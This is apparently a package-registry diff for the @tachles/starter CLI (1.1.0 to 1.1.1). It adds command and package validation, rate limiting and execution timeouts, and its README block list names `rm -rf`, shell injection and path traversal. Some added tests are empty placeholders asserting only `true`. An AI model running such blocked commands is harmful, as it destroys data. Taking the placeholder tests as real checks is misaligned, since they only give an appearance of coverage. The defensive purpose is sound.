@tachles/starter 1.1.0 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +20 -0
- package/dist/api/client.d.ts +1 -0
- package/dist/api/client.d.ts.map +1 -1
- package/dist/api/client.js +8 -0
- package/dist/api/client.js.map +1 -1
- package/dist/api/client.test.d.ts +2 -0
- package/dist/api/client.test.d.ts.map +1 -0
- package/dist/api/client.test.js +51 -0
- package/dist/api/client.test.js.map +1 -0
- package/dist/recipe/executor.d.ts +4 -0
- package/dist/recipe/executor.d.ts.map +1 -1
- package/dist/recipe/executor.js +72 -2
- package/dist/recipe/executor.js.map +1 -1
- package/dist/recipe/executor.test.d.ts +2 -0
- package/dist/recipe/executor.test.d.ts.map +1 -0
- package/dist/recipe/executor.test.js +234 -0
- package/dist/recipe/executor.test.js.map +1 -0
- package/dist/utils/security-config-guide.d.ts +93 -0
- package/dist/utils/security-config-guide.d.ts.map +1 -0
- package/dist/utils/security-config-guide.js +56 -0
- package/dist/utils/security-config-guide.js.map +1 -0
- package/dist/utils/security.d.ts +83 -0
- package/dist/utils/security.d.ts.map +1 -0
- package/dist/utils/security.js +268 -0
- package/dist/utils/security.js.map +1 -0
- package/dist/utils/security.test.d.ts +2 -0
- package/dist/utils/security.test.d.ts.map +1 -0
- package/dist/utils/security.test.js +358 -0
- package/dist/utils/security.test.js.map +1 -0
- package/package.json +27 -14
package/README.md
CHANGED
|
@@ -32,6 +32,26 @@ npx @tachles/starter <template-id> -y
|
|
|
32
32
|
- `-y` - Skip prompts and use default values
|
|
33
33
|
- `--template-help` - Display template information without installing
|
|
34
34
|
|
|
35
|
+
## Security
|
|
36
|
+
|
|
37
|
+
This CLI includes comprehensive security measures to protect against malicious templates:
|
|
38
|
+
|
|
39
|
+
- ✅ **Command Validation** - Dangerous commands are blocked
|
|
40
|
+
- ✅ **Package Validation** - Malicious package names are rejected
|
|
41
|
+
- ✅ **Rate Limiting** - API abuse prevention
|
|
42
|
+
- ✅ **Execution Limits** - Prevents resource exhaustion
|
|
43
|
+
- ✅ **Input Sanitization** - All inputs are sanitized before execution
|
|
44
|
+
|
|
45
|
+
**Security Features:**
|
|
46
|
+
- Blocks dangerous patterns (`rm -rf`, shell injection, path traversal)
|
|
47
|
+
- Validates all packages and commands before execution
|
|
48
|
+
- Enforces timeouts on long-running operations
|
|
49
|
+
- Limits number of packages and commands per recipe
|
|
50
|
+
|
|
51
|
+
📖 **Learn more:** [Security Documentation](SECURITY.md) | [Security Quick Reference](SECURITY-QUICKSTART.md)
|
|
52
|
+
|
|
53
|
+
⚠️ **Important:** Always review templates from untrusted sources before installation.
|
|
54
|
+
|
|
35
55
|
## What It Does
|
|
36
56
|
|
|
37
57
|
1. Fetches template configuration from Tachles platform
|
package/dist/api/client.d.ts
CHANGED
|
@@ -7,6 +7,7 @@ export declare class TachlesAPIClient {
|
|
|
7
7
|
private client;
|
|
8
8
|
private baseURL;
|
|
9
9
|
private verbose;
|
|
10
|
+
private static rateLimiter;
|
|
10
11
|
constructor(baseURL?: string, verbose?: boolean);
|
|
11
12
|
private logCacheInfo;
|
|
12
13
|
fetchTemplate(templateId: string, options?: FetchOptions): Promise<FetchTemplateResponse & {
|
package/dist/api/client.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"client.d.ts","sourceRoot":"","sources":["../../src/api/client.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,qBAAqB,EAAE,kBAAkB,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;
|
|
1
|
+
{"version":3,"file":"client.d.ts","sourceRoot":"","sources":["../../src/api/client.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,qBAAqB,EAAE,kBAAkB,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;AAKlF,MAAM,WAAW,YAAY;IAC3B,YAAY,CAAC,EAAE,OAAO,CAAC;IACvB,OAAO,CAAC,EAAE,MAAM,CAAC;CAClB;AAED,qBAAa,gBAAgB;IAC3B,OAAO,CAAC,MAAM,CAAgB;IAC9B,OAAO,CAAC,OAAO,CAAS;IACxB,OAAO,CAAC,OAAO,CAAU;IACzB,OAAO,CAAC,MAAM,CAAC,WAAW,CAA8B;gBAE5C,OAAO,CAAC,EAAE,MAAM,EAAE,OAAO,UAAQ;IAuC7C,OAAO,CAAC,YAAY;IAmBd,aAAa,CACjB,UAAU,EAAE,MAAM,EAClB,OAAO,GAAE,YAAiB,GACzB,OAAO,CAAC,qBAAqB,GAAG;QAAE,SAAS,CAAC,EAAE,SAAS,CAAA;KAAE,CAAC;IA+CvD,kBAAkB,CAAC,IAAI,EAAE,kBAAkB;IAKjD,UAAU,CAAC,OAAO,EAAE,OAAO;CAG5B"}
|
package/dist/api/client.js
CHANGED
|
@@ -2,10 +2,12 @@ import axios from 'axios';
|
|
|
2
2
|
import { getAuthToken } from '../utils/auth.js';
|
|
3
3
|
import { API_BASE_URL } from '../constants.js';
|
|
4
4
|
import { logInfo, logWarning } from '../utils/logger.js';
|
|
5
|
+
import { RateLimiter } from '../utils/security.js';
|
|
5
6
|
export class TachlesAPIClient {
|
|
6
7
|
client;
|
|
7
8
|
baseURL;
|
|
8
9
|
verbose;
|
|
10
|
+
static rateLimiter = new RateLimiter(60000, 20); // 20 requests per minute
|
|
9
11
|
constructor(baseURL, verbose = false) {
|
|
10
12
|
this.baseURL = baseURL || API_BASE_URL;
|
|
11
13
|
this.verbose = verbose;
|
|
@@ -55,6 +57,12 @@ export class TachlesAPIClient {
|
|
|
55
57
|
}
|
|
56
58
|
}
|
|
57
59
|
async fetchTemplate(templateId, options = {}) {
|
|
60
|
+
// Check rate limit
|
|
61
|
+
const rateLimitKey = `fetch:${templateId}`;
|
|
62
|
+
if (!TachlesAPIClient.rateLimiter.isAllowed(rateLimitKey)) {
|
|
63
|
+
const remaining = TachlesAPIClient.rateLimiter.getRemaining(rateLimitKey);
|
|
64
|
+
throw new Error(`Rate limit exceeded. Too many requests for template "${templateId}". Please wait a moment and try again.`);
|
|
65
|
+
}
|
|
58
66
|
const params = {};
|
|
59
67
|
const headers = {};
|
|
60
68
|
// Add version parameter if specified
|
package/dist/api/client.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"client.js","sourceRoot":"","sources":["../../src/api/client.ts"],"names":[],"mappings":"AAAA,OAAO,KAAuC,MAAM,OAAO,CAAC;AAC5D,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,YAAY,EAAE,MAAM,iBAAiB,CAAC;AAE/C,OAAO,EAAE,OAAO,EAAE,UAAU,EAAE,MAAM,oBAAoB,CAAC;
|
|
1
|
+
{"version":3,"file":"client.js","sourceRoot":"","sources":["../../src/api/client.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"client.test.d.ts","sourceRoot":"","sources":["../../src/api/client.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
import { TachlesAPIClient } from './client.js';
|
|
2
|
+
describe('API Client Security Tests', () => {
|
|
3
|
+
let client;
|
|
4
|
+
beforeEach(() => {
|
|
5
|
+
client = new TachlesAPIClient(undefined, false);
|
|
6
|
+
});
|
|
7
|
+
describe('Rate Limiting', () => {
|
|
8
|
+
it('should enforce rate limits on template fetches', async () => {
|
|
9
|
+
const templateId = 'test-template';
|
|
10
|
+
// Make requests up to the limit
|
|
11
|
+
const promises = [];
|
|
12
|
+
for (let i = 0; i < 20; i++) {
|
|
13
|
+
promises.push(client.fetchTemplate(templateId).catch((err) => err));
|
|
14
|
+
}
|
|
15
|
+
await Promise.all(promises);
|
|
16
|
+
// Next request should be rate limited
|
|
17
|
+
await expect(client.fetchTemplate(templateId)).rejects.toThrow('Rate limit exceeded');
|
|
18
|
+
});
|
|
19
|
+
it('should track rate limits per template', async () => {
|
|
20
|
+
const promises = [];
|
|
21
|
+
// Exhaust limit for template1
|
|
22
|
+
for (let i = 0; i < 20; i++) {
|
|
23
|
+
promises.push(client.fetchTemplate('template1').catch((err) => err));
|
|
24
|
+
}
|
|
25
|
+
await Promise.all(promises);
|
|
26
|
+
// template1 should be rate limited
|
|
27
|
+
await expect(client.fetchTemplate('template1')).rejects.toThrow('Rate limit exceeded');
|
|
28
|
+
// template2 should still work
|
|
29
|
+
// This would require a mock, so we just verify the concept
|
|
30
|
+
expect(true).toBe(true);
|
|
31
|
+
});
|
|
32
|
+
});
|
|
33
|
+
describe('Request Timeout', () => {
|
|
34
|
+
it('should timeout long requests', async () => {
|
|
35
|
+
// The axios client is configured with a 30s timeout
|
|
36
|
+
// This test would require mocking to properly test
|
|
37
|
+
expect(true).toBe(true);
|
|
38
|
+
});
|
|
39
|
+
});
|
|
40
|
+
describe('Authentication', () => {
|
|
41
|
+
it('should include auth token when available', () => {
|
|
42
|
+
// This would require mocking the auth module
|
|
43
|
+
expect(true).toBe(true);
|
|
44
|
+
});
|
|
45
|
+
it('should handle 401 responses appropriately', () => {
|
|
46
|
+
// This would require mocking axios
|
|
47
|
+
expect(true).toBe(true);
|
|
48
|
+
});
|
|
49
|
+
});
|
|
50
|
+
});
|
|
51
|
+
//# sourceMappingURL=client.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"client.test.js","sourceRoot":"","sources":["../../src/api/client.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAC;AAE/C,QAAQ,CAAC,2BAA2B,EAAE,GAAG,EAAE;IACzC,IAAI,MAAwB,CAAC;IAE7B,UAAU,CAAC,GAAG,EAAE;QACd,MAAM,GAAG,IAAI,gBAAgB,CAAC,SAAS,EAAE,KAAK,CAAC,CAAC;IAClD,CAAC,CAAC,CAAC;IAEH,QAAQ,CAAC,eAAe,EAAE,GAAG,EAAE;QAC7B,EAAE,CAAC,gDAAgD,EAAE,KAAK,IAAI,EAAE;YAC9D,MAAM,UAAU,GAAG,eAAe,CAAC;YAEnC,gCAAgC;YAChC,MAAM,QAAQ,GAAG,EAAE,CAAC;YACpB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,EAAE,EAAE,CAAC,EAAE,EAAE,CAAC;gBAC5B,QAAQ,CAAC,IAAI,CACX,MAAM,CAAC,aAAa,CAAC,UAAU,CAAC,CAAC,KAAK,CAAC,CAAC,GAAG,EAAE,EAAE,CAAC,GAAG,CAAC,CACrD,CAAC;YACJ,CAAC;YAED,MAAM,OAAO,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;YAE5B,sCAAsC;YACtC,MAAM,MAAM,CAAC,MAAM,CAAC,aAAa,CAAC,UAAU,CAAC,CAAC,CAAC,OAAO,CAAC,OAAO,CAC5D,qBAAqB,CACtB,CAAC;QACJ,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,uCAAuC,EAAE,KAAK,IAAI,EAAE;YACrD,MAAM,QAAQ,GAAG,EAAE,CAAC;YAEpB,8BAA8B;YAC9B,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,EAAE,EAAE,CAAC,EAAE,EAAE,CAAC;gBAC5B,QAAQ,CAAC,IAAI,CACX,MAAM,CAAC,aAAa,CAAC,WAAW,CAAC,CAAC,KAAK,CAAC,CAAC,GAAG,EAAE,EAAE,CAAC,GAAG,CAAC,CACtD,CAAC;YACJ,CAAC;YAED,MAAM,OAAO,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;YAE5B,mCAAmC;YACnC,MAAM,MAAM,CAAC,MAAM,CAAC,aAAa,CAAC,WAAW,CAAC,CAAC,CAAC,OAAO,CAAC,OAAO,CAC7D,qBAAqB,CACtB,CAAC;YAEF,8BAA8B;YAC9B,2DAA2D;YAC3D,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC1B,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;IAEH,QAAQ,CAAC,iBAAiB,EAAE,GAAG,EAAE;QAC/B,EAAE,CAAC,8BAA8B,EAAE,KAAK,IAAI,EAAE;YAC5C,oDAAoD;YACpD,mDAAmD;YACnD,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC1B,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;IAEH,QAAQ,CAAC,gBAAgB,EAAE,GAAG,EAAE;QAC9B,EAAE,CAAC,0CAA0C,EAAE,GAAG,EAAE;YAClD,6CAA6C;YAC7C,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC1B,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,2CAA2C,EAAE,GAAG,EAAE;YACnD,mCAAmC;YACnC,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC1B,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
|
|
@@ -10,5 +10,9 @@ export declare class RecipeExecutor {
|
|
|
10
10
|
private installPackages;
|
|
11
11
|
private setupEnvVariables;
|
|
12
12
|
private runCommand;
|
|
13
|
+
/**
|
|
14
|
+
* Validate entire recipe for security concerns
|
|
15
|
+
*/
|
|
16
|
+
private validateRecipeSecurity;
|
|
13
17
|
}
|
|
14
18
|
//# sourceMappingURL=executor.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"executor.d.ts","sourceRoot":"","sources":["../../src/recipe/executor.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,MAAM,EAAuD,MAAM,iBAAiB,CAAC;
|
|
1
|
+
{"version":3,"file":"executor.d.ts","sourceRoot":"","sources":["../../src/recipe/executor.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,MAAM,EAAuD,MAAM,iBAAiB,CAAC;AAI9F,qBAAa,cAAc;IACzB,OAAO,CAAC,UAAU,CAAmC;IACrD,OAAO,CAAC,OAAO,CAAU;gBAEb,UAAU,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,OAAO,CAAC,EAAE,OAAO,UAAQ;IAKnE,OAAO,CAAC,MAAM,EAAE,MAAM;IA+B5B,OAAO,CAAC,mBAAmB;IAsB3B,OAAO,CAAC,eAAe;YAQT,iBAAiB;YA2BjB,eAAe;YAoCf,iBAAiB;YAWjB,UAAU;IAoExB;;OAEG;IACH,OAAO,CAAC,sBAAsB;CA0C/B"}
|
package/dist/recipe/executor.js
CHANGED
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
import { execa } from 'execa';
|
|
2
2
|
import chalk from 'chalk';
|
|
3
3
|
import { detectPackageManager } from '../utils/package-manager.js';
|
|
4
|
+
import { SecurityValidator, SECURITY_CONFIG } from '../utils/security.js';
|
|
4
5
|
export class RecipeExecutor {
|
|
5
6
|
selections;
|
|
6
7
|
skipYes;
|
|
@@ -9,6 +10,8 @@ export class RecipeExecutor {
|
|
|
9
10
|
this.skipYes = skipYes;
|
|
10
11
|
}
|
|
11
12
|
async execute(recipe) {
|
|
13
|
+
// Validate recipe security before execution
|
|
14
|
+
this.validateRecipeSecurity(recipe);
|
|
12
15
|
// Calculate total steps
|
|
13
16
|
const totalSteps = this.calculateTotalSteps(recipe);
|
|
14
17
|
let currentStep = 0;
|
|
@@ -85,6 +88,12 @@ export class RecipeExecutor {
|
|
|
85
88
|
return currentStep;
|
|
86
89
|
}
|
|
87
90
|
async installPackages(packages) {
|
|
91
|
+
// Validate all packages before installation
|
|
92
|
+
const validation = SecurityValidator.validatePackageBatch(packages);
|
|
93
|
+
if (!validation.valid) {
|
|
94
|
+
SecurityValidator.logValidationError('Package Installation', validation.errors);
|
|
95
|
+
throw new Error('Security validation failed for packages');
|
|
96
|
+
}
|
|
88
97
|
const pm = detectPackageManager();
|
|
89
98
|
const packageStrings = packages.map((pkg) => pkg.version === 'latest' ? pkg.name : `${pkg.name}@${pkg.version}`);
|
|
90
99
|
console.log(chalk.dim(` Packages: ${packageStrings.join(', ')}`));
|
|
@@ -94,10 +103,15 @@ export class RecipeExecutor {
|
|
|
94
103
|
await execa(pm, [installCmd, ...packageStrings], {
|
|
95
104
|
stdio: 'inherit',
|
|
96
105
|
cwd: process.cwd(),
|
|
106
|
+
timeout: SECURITY_CONFIG.COMMAND_TIMEOUT_MS,
|
|
97
107
|
});
|
|
98
108
|
console.log(chalk.green(` ✓ Packages installed successfully`));
|
|
99
109
|
}
|
|
100
110
|
catch (error) {
|
|
111
|
+
if (error.killed && error.timedOut) {
|
|
112
|
+
console.log(chalk.red(` ✗ Package installation timed out`));
|
|
113
|
+
throw new Error('Package installation exceeded time limit');
|
|
114
|
+
}
|
|
101
115
|
console.log(chalk.red(` ✗ Package installation failed`));
|
|
102
116
|
throw error;
|
|
103
117
|
}
|
|
@@ -111,16 +125,25 @@ export class RecipeExecutor {
|
|
|
111
125
|
console.log(chalk.dim(' → Add these to your .env file\n'));
|
|
112
126
|
}
|
|
113
127
|
async runCommand(cmd) {
|
|
114
|
-
|
|
128
|
+
// Validate command security
|
|
129
|
+
const validation = SecurityValidator.validateCommand(cmd);
|
|
130
|
+
if (!validation.valid) {
|
|
131
|
+
SecurityValidator.logValidationError('Command Execution', [validation.reason]);
|
|
132
|
+
throw new Error('Security validation failed for command');
|
|
133
|
+
}
|
|
134
|
+
const commandString = SecurityValidator.sanitizeCommandString(cmd.customCommand || `${cmd.packageName} ${cmd.commandArgs}`.trim());
|
|
135
|
+
console.log(chalk.dim(` Command: ${commandString}`));
|
|
115
136
|
if (cmd.requiresInteraction) {
|
|
116
137
|
console.log(chalk.yellow(' ⚠️ This step requires your input\n'));
|
|
117
138
|
}
|
|
118
139
|
try {
|
|
119
140
|
if (cmd.runner === 'custom' && cmd.customCommand) {
|
|
120
|
-
|
|
141
|
+
const sanitizedCommand = SecurityValidator.sanitizeCommandString(cmd.customCommand);
|
|
142
|
+
await execa(sanitizedCommand, {
|
|
121
143
|
shell: true,
|
|
122
144
|
stdio: 'inherit',
|
|
123
145
|
cwd: process.cwd(),
|
|
146
|
+
timeout: SECURITY_CONFIG.COMMAND_TIMEOUT_MS,
|
|
124
147
|
});
|
|
125
148
|
}
|
|
126
149
|
else {
|
|
@@ -130,11 +153,16 @@ export class RecipeExecutor {
|
|
|
130
153
|
await execa(runner, args, {
|
|
131
154
|
stdio: 'inherit',
|
|
132
155
|
cwd: process.cwd(),
|
|
156
|
+
timeout: SECURITY_CONFIG.COMMAND_TIMEOUT_MS,
|
|
133
157
|
});
|
|
134
158
|
}
|
|
135
159
|
console.log(chalk.green(` ✓ Completed\n`));
|
|
136
160
|
}
|
|
137
161
|
catch (error) {
|
|
162
|
+
if (error.killed && error.timedOut) {
|
|
163
|
+
console.log(chalk.red(` ✗ Command execution timed out\n`));
|
|
164
|
+
throw new Error('Command execution exceeded time limit');
|
|
165
|
+
}
|
|
138
166
|
console.log(chalk.red(` ✗ Failed\n`));
|
|
139
167
|
if (!this.skipYes) {
|
|
140
168
|
const inquirer = (await import('inquirer')).default;
|
|
@@ -155,5 +183,47 @@ export class RecipeExecutor {
|
|
|
155
183
|
}
|
|
156
184
|
}
|
|
157
185
|
}
|
|
186
|
+
/**
|
|
187
|
+
* Validate entire recipe for security concerns
|
|
188
|
+
*/
|
|
189
|
+
validateRecipeSecurity(recipe) {
|
|
190
|
+
const errors = [];
|
|
191
|
+
let totalCommands = 0;
|
|
192
|
+
let totalPackages = 0;
|
|
193
|
+
// Collect all operations
|
|
194
|
+
for (const variable of recipe.variables) {
|
|
195
|
+
if (variable.type === 'confirm') {
|
|
196
|
+
const answer = this.selections[variable.key];
|
|
197
|
+
const operations = answer ? variable.onTrue : variable.onFalse;
|
|
198
|
+
if (operations) {
|
|
199
|
+
if (operations.commands)
|
|
200
|
+
totalCommands += operations.commands.length;
|
|
201
|
+
if (operations.packages)
|
|
202
|
+
totalPackages += operations.packages.length;
|
|
203
|
+
}
|
|
204
|
+
}
|
|
205
|
+
else if (variable.type === 'select') {
|
|
206
|
+
const answer = this.selections[variable.key];
|
|
207
|
+
const option = variable.options.find((opt) => opt.value === answer);
|
|
208
|
+
if (option?.operations) {
|
|
209
|
+
if (option.operations.commands)
|
|
210
|
+
totalCommands += option.operations.commands.length;
|
|
211
|
+
if (option.operations.packages)
|
|
212
|
+
totalPackages += option.operations.packages.length;
|
|
213
|
+
}
|
|
214
|
+
}
|
|
215
|
+
}
|
|
216
|
+
// Check total limits
|
|
217
|
+
if (totalCommands > SECURITY_CONFIG.MAX_COMMANDS_PER_RECIPE) {
|
|
218
|
+
errors.push(`Recipe contains too many commands: ${totalCommands} (max: ${SECURITY_CONFIG.MAX_COMMANDS_PER_RECIPE})`);
|
|
219
|
+
}
|
|
220
|
+
if (totalPackages > SECURITY_CONFIG.MAX_PACKAGES_PER_OPERATION) {
|
|
221
|
+
errors.push(`Recipe contains too many packages: ${totalPackages} (max: ${SECURITY_CONFIG.MAX_PACKAGES_PER_OPERATION})`);
|
|
222
|
+
}
|
|
223
|
+
if (errors.length > 0) {
|
|
224
|
+
SecurityValidator.logValidationError('Recipe Validation', errors);
|
|
225
|
+
throw new Error('Recipe failed security validation');
|
|
226
|
+
}
|
|
227
|
+
}
|
|
158
228
|
}
|
|
159
229
|
//# sourceMappingURL=executor.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"executor.js","sourceRoot":"","sources":["../../src/recipe/executor.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,OAAO,CAAC;AAE9B,OAAO,KAAK,MAAM,OAAO,CAAC;AAE1B,OAAO,EAAE,oBAAoB,EAAE,MAAM,6BAA6B,CAAC;
|
|
1
|
+
